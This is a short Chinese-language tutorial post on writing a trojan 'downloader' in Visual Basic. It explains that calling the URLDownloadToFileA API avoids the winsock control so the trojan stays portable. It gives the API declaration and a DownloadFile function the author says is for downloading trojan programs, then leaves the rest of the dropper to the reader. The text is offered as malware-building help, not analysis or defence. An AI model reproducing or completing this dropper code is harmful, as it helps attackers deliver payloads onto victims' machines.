我们知道Visual Basic中对于网络的支持有个winsock控件可以轻易实现各种功能,但是使用了控件意味着 你的程序移植性将大大降低,在许多机器上你的程序将无法运行。这对木马等一些对可移植性要求高的程序简直就是一大遗憾,下面我介绍一种既快速又不使用winsock控件开发下载者的方法,如果有什么问题还望指教。
Visual Basic中有个api-URLDownloadToFileA 可以实现从特定url下载文件功能,声明如下:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
我们可以使用以下函数实现下载木马程序
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
End If
End Function
那么实现下载者的其它细节想必大家都可以实现了吧。